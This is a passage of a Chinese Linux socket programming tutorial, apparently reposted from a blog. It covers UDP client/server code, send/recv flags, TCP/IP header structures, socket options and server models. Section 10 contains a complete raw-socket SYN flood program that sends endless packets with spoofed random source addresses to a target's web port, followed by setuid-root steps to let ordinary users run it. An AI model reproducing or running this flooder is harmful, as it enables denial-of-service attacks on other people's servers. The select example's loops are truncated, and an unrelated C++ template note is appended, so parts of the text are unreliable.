        if(inet_aton(argv[1],&addr.sin_addr)<0)
        {
                fprintf(stderr,"Ip error:%s\n",strerror(errno));
                exit(1);
        }
                 if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
                {
                        fprintf(stderr, "connect error %s\n", strerror(errno));
                        exit(1);
                }
        udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
        close(sockfd);
}

########### 编译文件 Makefile        ##########
all:server client
server:server.c
        gcc -o server server.c
client:client.c
        gcc -o client client.c
clean:
        rm -f server
        rm -f client
        rm -f core

运行UDP Server程序
执行./server &命令来启动服务程序。我们可以使用netstat -ln命令来观察服务程序绑定的IP地址和端口,部分输出信息如下:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 0.0.0.0:8888 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
udp 0 0 0.0.0.0:882 0.0.0.0:*
可以看到udp处有“0.0.0.0:8888”的内容,说明服务程序已经正常运行,可以接收主机上任何IP地址且端口为8888的数据。

3、运行UDP Client程序
执行./client 127.0.0.1 8888命令来启动客户程序,使用127.0.0.1来连接服务程序,执行效果如下:
Hello, World!
Hello, World!
this is a test
this is a test
^d
输入的数据都正确从服务程序返回了,按ctrl+d可以结束输入,退出程序。

(六)Linux网络编程--6. 高级套接字函数

在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.
也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

6.1 recv和send
  recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制读写操作.

         int recv(int sockfd,void *buf,int len,int flags)
         int send(int sockfd,void *buf,int len,int flags)

前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合
_______________________________________________________________
|  MSG_DONTROUTE        |  不查找路由表                         |
|  MSG_OOB              |  接受或者发送带外数据                 |
|  MSG_PEEK             |  查看数据,并不从系统缓冲区移走数据    |
|  MSG_WAITALL          |  等待所有数据                         |
|---------------------------------------------------------------|

MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.
        这个标志一般用网络诊断和路由程序里面.

MSG_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.

MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清除系统缓冲区的内容.这样下次读的时候,
        仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.

MSG_WAITALL是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误.
        1)当读到了指定的字节时,函数正常返回.返回值等于len
        2)当读到了文件的结尾时,函数正常返回.返回值小于len
        3) 当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)

如果flags为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很少,
可以查看 Linux Programmer's Manual得到详细解释.

6.2 recvfrom和sendto
        这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了.

6.3 recvmsg和sendmsg
        recvmsg和sendmsg可以实现前面所有的读写函数的功能.

int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)

  struct msghdr
        {
                void *msg_name;
                int msg_namelen;
                struct iovec *msg_iov;
                int msg_iovlen;
                void *msg_control;
                int msg_controllen;
                int msg_flags;
        }

struct iovec
        {
                void *iov_base; /* 缓冲区开始的地址  */
                size_t iov_len; /* 缓冲区的长度      */
        }

        msg_name和 msg_namelen当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.
        msg_name实际上是一个指向struct sockaddr的指针,
        msg_namelen是结构的长度.当套接字是面向连接时,这两个值应设为NULL.
        msg_iov和 msg_iovlen指出接受和发送的缓冲区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小. 
        msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操作选项.
        和 recv,send的选项一样

6.4 套接字的关闭
关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样.

6.5 shutdown

int shutdown(int sockfd,int howto) 

TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用
shutdown.针对不同的howto,系统回采取不同的关闭方式.
        howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写.
        howto=1关闭写通道,和上面相反,着时候就只可以读了.
        howto=2关闭读写通道,和close一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown,
        那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符.


(七)Linux网络编程--7. TCP/IP协议

你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.

7.1 网络传输分层
    如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,
    把网络的传输分为7个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,
    上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供数据,
    而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.

7.2 IP协议
    IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是IP4的数据包格式

0      4       8       16                      32
--------------------------------------------------
|版本   |首部长度|服务类型|    数据包总长       |
--------------------------------------------------
|    标识                 |DF |MF| 碎片偏移      |
--------------------------------------------------
|   生存时间    |  协议   |  首部较验和         |
------------------------------------------------
|               源IP地址                        |
------------------------------------------------
|               目的IP地址                      |
-------------------------------------------------
|               选项                            |
=================================================
|               数据                            |
-------------------------------------------------                      

下面我们看一看IP的结构定义

struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ip_hl:4;           /* header length */
        unsigned int ip_v:4;            /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
        unsigned int ip_v:4;            /* version */
        unsigned int ip_hl:4;           /* header length */
#endif
        u_int8_t ip_tos;                /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        u_int8_t ip_ttl;                /* time to live */
        u_int8_t ip_p;                  /* protocol */
        u_short ip_sum;                 /* checksum */
        struct in_addr ip_src, ip_dst;  /* source and dest address */
  };

ip_vIP协议的版本号,这里是4,现在IPV6已经出来了

ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.

ip_tos服务类型,说明提供的优先权.

ip_len说明IP数据的长度.以字节为单位.

ip_id标识这个IP数据包.

ip_off碎片偏移,这和上面ID一起用来重组碎片的.

ip_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃.

ip_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议.

ip_sum首部校验和,提供对首部数据的校验.

ip_src,ip_dst发送者和接收者的IP地址

关于IP协议的详细情况,请参考 RFC791

7.3 ICMP协议
ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.

ICMP包的结构如下:

0              8               16                              32
---------------------------------------------------------------------
|       类型    |       代码    |       校验和                  |
--------------------------------------------------------------------
|               数据            |       数据                    |
--------------------------------------------------------------------

ICMP在中的定义是
struct icmphdr
{
  u_int8_t type;                /* message type */
  u_int8_t code;                /* type sub-code */
  u_int16_t checksum;
  union
  {
    struct
    {
      u_int16_t id;
      u_int16_t sequence;
    } echo;                     /* echo datagram */
    u_int32_t   gateway;        /* gateway address */
    struct
    {
      u_int16_t __unused;
      u_int16_t mtu;
    } frag;                     /* path mtu discovery */
  } un;
};

关于ICMP协议的详细情况可以查看 RFC792

7.4 UDP协议
UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数据报服务.UDP的头格式为:


0                      16                      32
---------------------------------------------------
|       UDP源端口       |       UDP目的端口     |
---------------------------------------------------
|       UDP数据报长度   |       UDP数据报校验   |
---------------------------------------------------

UDP结构在中的定义为:
struct udphdr {
  u_int16_t     source;
  u_int16_t     dest;
  u_int16_t     len;
  u_int16_t     check;
};

关于UDP协议的详细情况,请参考 RFC768
7.5 TCP
TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.

0       4       8  10           16              24              32
-------------------------------------------------------------------
|               源端口          |               目的端口        |
-------------------------------------------------------------------
|                               序列号                          |
------------------------------------------------------------------
|                               确认号                          |
------------------------------------------------------------------
|        |            |U|A|P|S|F|                               |
|首部长度| 保留       |R|C|S|Y|I|       窗口                    |
|        |            |G|K|H|N|N|                               |
-----------------------------------------------------------------
|               校验和          |               紧急指针        |
-----------------------------------------------------------------
|                       选项                    |    填充字节   |
-----------------------------------------------------------------

TCP的结构在中定义为:
struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_prt;
};     

source发送TCP数据的源端口
dest接受TCP数据的目的端口

seq标识该TCP所包含的数据字节的开始序列号

ack_seq确认序列号,表示接受方下一次接受的数据序列号.

doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5

urg如果设置紧急数据指针,则该位为1

ack如果确认号正确,那么为1

psh如果设置为1,那么接收方收到数据后,立即交给上一层程序

rst为1的时候,表示请求重新连接

syn为1的时候,表示请求建立连接

fin为1的时候,表示亲戚关闭连接

window窗口,告诉接收者可以接收的大小

check对TCP数据进行较核

urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值

关于TCP协议的详细情况,请查看 RFC793


7.6 TCP连接的建立
TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为"三次握手".

下面我们从一个实例来分析建立连接的过程.

第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,
并且设置序列号seq=1000(我们假设为1000).

第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.
因为是响应客户机的请求, 于是服务器设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000).

第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.
客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.

最后一步服务器受到确认信息,也完成连接.

通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的.


说一说其中的一种错误.
  听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.
  概括的说一下原理.客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤.
  不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的
  IP填充在自己IP 数据包的发送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,
  这样服务务端会在那边一直等待,直到超时.这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,
  而不能再接收客户机的请求.这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.
  于是就出现了春节时所出现的情况.


(八)Linux网络编程--8. 套接字选项

有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.


8.1 getsockopt和setsockopt

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level指定控制套接字的层次.可以取三种值:
        1)SOL_SOCKET:通用套接字选项.
        2)IPPROTO_IP:IP选项.
        3)IPPROTO_TCP:TCP选项.
optname指定控制的方式(选项的名称),我们下面详细解释

optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换


选项名称                说明                                    数据类型
========================================================================
                        SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST            允许发送广播数据                        int
SO_DEBUG                允许调试                                int
SO_DONTROUTE            不查找路由                              int
SO_ERROR                获得套接字错误                          int
SO_KEEPALIVE            保持连接                                int
SO_LINGER               延迟关闭连接                            struct linger
SO_OOBINLINE            带外数据放入正常数据流                  int
SO_RCVBUF               接收缓冲区大小                          int
SO_SNDBUF               发送缓冲区大小                          int
SO_RCVLOWAT             接收缓冲区下限                          int
SO_SNDLOWAT             发送缓冲区下限                          int
SO_RCVTIMEO             接收超时                                struct timeval
SO_SNDTIMEO             发送超时                                struct timeval
SO_REUSERADDR           允许重用本地地址和端口                  int
SO_TYPE                 获得套接字类型                          int
SO_BSDCOMPAT            与BSD系统兼容                           int
==========================================================================
                        IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL              在数据包中包含IP首部                    int
IP_OPTINOS              IP首部选项                              int
IP_TOS                  服务类型
IP_TTL                  生存时间                                int
==========================================================================
                        IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG              TCP最大数据段的大小                     int
TCP_NODELAY             不使用Nagle算法                         int
=========================================================================

关于这些选项的详细情况请查看 Linux Programmer's Manual

8.2 ioctl
ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.

int ioctl(int fd,int req,...)

==========================================================================
                        ioctl的控制选项
--------------------------------------------------------------------------
SIOCATMARK              是否到达带外标记                        int
FIOASYNC                异步输入/输出标志                       int
FIONREAD                缓冲区可读的字节数                      int
==========================================================================

详细的选项请用 man ioctl_list 查看.


(九)Linux网络编程--9. 服务器模型

学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,
我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,
这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求,
对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.

<一>循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

<二>并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求


9.1 循环服务器:UDP服务器
        UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.
可以用下面的算法来实现.

   socket(...);
   bind(...);
   while(1)
    {
         recvfrom(...);
         process(...);
         sendto(...);
   }
因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.

9.2 循环服务器:TCP服务器
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下:
        socket(...);
        bind(...);
        listen(...);
        while(1)
        {
                accept(...);
                while(1)
                {
                        read(...);
                        process(...);
                        write(...);
                }
                close(...);
        }

TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.
这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.

9.3 并发服务器:TCP服务器
        为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器
直接处理,而是服务器创建一个 子进程来处理.

算法如下:

  socket(...);
  bind(...);
  listen(...);
  while(1)
  {
        accept(...);
        if(fork(..)==0)
          {
              while(1)
               {       
                read(...);
                process(...);
                write(...);
               }
           close(...);
           exit(...);
          }
        close(...);
  }    

TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,
服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

9.4 并发服务器:多路复用I/O
为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数select

int select(int nfds,fd_set *readfds,fd_set *writefds,
                fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文件描述符的集合
writefds所有要的写文件文件描述符的集合

exceptfds其他的服要向我们通知的文件描述符

timeout超时设置.

nfds所有我们监控的文件描述符中最大的那一个加1

在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset

FD_CLR将fd从fdset里面清除

FD_ZERO从fdset中清除所有的文件描述符

FD_ISSET判断fd是否在fdset集合中

使用select的一个例子

int use_select(int *readfd,int n)
{
   fd_set my_readfd;
   int maxfd;
   int i;
  
   maxfd=readfd[0];
   for(i=1;i
    if(readfd[i]>maxfd) maxfd=readfd[i];
   while(1)
   {
        /*   将所有的文件描述符加入   */
        FD_ZERO(&my_readfd);
        for(i=0;i
            FD_SET(readfd[i],*my_readfd);
        /*     进程阻塞                 */
        select(maxfd+1,& my_readfd,NULL,NULL,NULL);
        /*        有东西可以读了       */
        for(i=0;i
          if(FD_ISSET(readfd[i],&my_readfd))
              {
                  /* 原来是我可以读了  */
                        we_read(readfd[i]);
              }
   }
}

使用select后我们的服务器程序就变成了.


        初始话(socket,bind,listen);
       
    while(1)
        {
        设置监听读写文件描述符(FD_*);  
       
        调用select;
       
        如果是倾听套接字就绪,说明一个新的连接请求建立
             {
                建立连接(accept);
                加入到监听文件描述符中去;
             }
       否则说明是一个已经连接过的描述符
                {
                    进行操作(read或者write);
                 }
                       
        }              

多路复用I/O可以解决资源限制的问题.这模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.
如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.

9.5 并发服务器:UDP服务器
人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建
一个子进程来处理的 算法和并发的TCP模型一样.
除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.


9.6 一个并发TCP服务器实例

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define MY_PORT         8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in     client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
        printf("Socket Error:%s\n\a",strerror(errno));
        exit(1);
  }
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间  */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
        printf("Bind Error:%s\n\a",strerror(errno));
        exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
   accept_fd=accept(listen_fd,NULL,NULL);
   if((accept_fd<0)&&(errno==EINTR))
          continue;
   else if(accept_fd<0)
    {
        printf("Accept Error:%s\n\a",strerror(errno));
        continue;
    }
  if((n=fork())==0)
   {
        /* 子进程处理客户端的连接 */
        char buffer[1024];
        close(listen_fd);
        n=read(accept_fd,buffer,1024);
        write(accept_fd,buffer,n);
        close(accept_fd);
        exit(0);
   }
   else if(n<0)
        printf("Fork Error:%s\n\a",strerror(errno));
   close(accept_fd);
  }
} 

你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试


(十)Linux网络编程--10. 原始套接字

 我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外
一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.
注意原始套接字只能够由有 root权限的人创建.

10.1 原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/********************  DOS.c               *****************/

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define DESTPORT        80       /* 要攻击的端口(WEB)      */
#define LOCALPORT       8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字    ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
}
/********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/****  没有办法,只用超级护用户才可以使用原始套接字    *********/
setuid(getpid());
/*********  发送炸弹了!!!!          ****/
send_tcp(sockfd,&addr);
} 
 
/*******  发送炸弹的实现   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用来放置我们的数据包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/********  填充IP数据包的头部,还记得IP的头格式吗?     ******/ 
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度  **/
ip->ip_tos=0;                   /** 服务类型            **/
ip->ip_len=htons(head_len);     /** IP数据包的长度      **/
ip->ip_id=0;                    /** 让系统去填写吧      **/
ip->ip_off=0;                   /** 和上面一样,省点时间 **/        
ip->ip_ttl=MAXTTL;              /** 最长的时间   255    **/
ip->ip_p=IPPROTO_TCP;           /** 我们要发的是 TCP包  **/ 
ip->ip_sum=0;                   /** 校验和让系统去做    **/
ip->ip_dst=addr->sin_addr;      /** 我们攻击的对象      **/
/*******  开始填写TCP数据包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;           /** 目的端口    **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                        /** 我要建立连接 **/
tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^  **/
while(1)
  {
/**  你不知道我是从那里来的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();     
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/**            下面这条可有可无    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;
while(nleft>1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}
  
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,
我们应该将这个程序的所有者变为root,且 设置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢.
当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,
回自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们
发送出去. 在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,
那么IP数据一样也可以由系统来创建的.


11. 后记
  总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方
都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.
  如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走.
  网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许
  许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库.
  如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.
  看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.
  我们现在用的软件有几个是我们中国人自己编写的.  不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的
  差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!

相信一点:

            别人可以做到的我们一样可以做到,而且可以比别人做的更好!

   勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/jenshy/archive/2006/04/18/667944.aspx

作者:XiaoXiaoPengBo 发表于2017/11/13 9:08:30 原文链接
阅读:35 评论:0 查看评论

深度探索C++ 对象模型【第七章1】

$
0
0

1:template编程风格

  • 它是标准模板库(STL)的基础
  • 参数化技术
2:template类,定义一个指针指向特定的实例时,程序中并没有发生什么,因为指针并不是对象,编译器不需要知道与该class有关的任何成员数据或者对象的分布。所以编译器现在已经禁止了声明一个指向某个模板类的指针。

3:然而定义一个引用时,会真的实例化一个template class的实例,0也会被转化为类型的一个对象(引用不能指向无物),如果不能转换,会在编译期报错。

4:对于模板类中的数据成员,声明一个实例时:Point<float> A;
  • A 的空间大小必须足够容纳其非静态成员数据
  • 成员函数并不会被实例化,只有在成员函数真正被使用时,才会被要求实例化出来
5:目前的编译器并不严格遵守4的第二条,现使用使用者来主导
  • 时间与空间效率的考虑:模板类中的大量函数不被使用,造成浪费
  • 并不是模板类实例化的所有类型都有着能够支持成员函数的一整套运算符,比如说自定义类型point,可能就没有加法运算符,这样涉及到该运算符的成员函数就有可能会出现问题。如果只实例化那些真正能用到的函数,就可以避免编译时期的错误
6:如果int 和long是一致的,(或是double和long double一致),那么模板类的实例化使用这个几种类型是否会产生两种实例呢?目前所有的编译器都是产生两种实例的。

7:使用模板类需要注意的地方
  • 因为模板类的类型不确定,所以为一个类型的变量(对象)赋初值可能是错误的。type t = 10
  • 因为模板类的类型不确定,所以并不是所有的运算符都会支持。 t != 100;
  • 模板类也需要使用;分号作为结尾
然而,在模板类中,所有有关于类型的检查,如果牵涉到类型参数,都必须延迟到真正的实例化操作之后才会发生。

